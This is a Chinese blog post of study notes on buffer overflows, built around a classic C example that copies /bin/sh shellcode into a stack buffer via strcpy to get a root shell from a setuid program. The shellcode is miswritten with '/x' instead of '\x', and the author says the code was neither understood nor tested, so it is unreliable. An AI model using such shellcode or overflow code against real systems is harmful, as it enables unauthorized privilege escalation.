缓冲区溢出笔记(2006年6月13日)

一个简单的例子
  
#include <stdio.h>
#include <string.h>

char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";

char large_string[128];

int main(int argc, char **argv)
{
   char buffer[96];
   int i;
   long *long_ptr = (long*)large_string;

   for ( i = 0; i < 32; i++)
   {
      *(long_ptr + i) = (int)buffer;
   }

   for ( i = 0; i < (int)strlen(shellcode); i++)
   {
      large_string[i] = shellcode[i];
   }

   strcpy( buffer,large_string );
   return 0;
}

   该程序运行后,我们成功的获取了系统的权限。
   在这个例子中我们强调了两个地方:第一个是栈溢出,该程序就是利用栈溢出的原理开发的。第二个是二进制编写的用户授权id,该二进制在系统最高权限运行。这两点结合在一起之后使我们就得到了一个root权限的shell。
(注:该段落的翻译虽然还算勉强能懂,但是程序让我很费解,不明白是为什么是这样,而且由于我的系统是windows这使我无法调试和验证该溢出程序的正确性)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值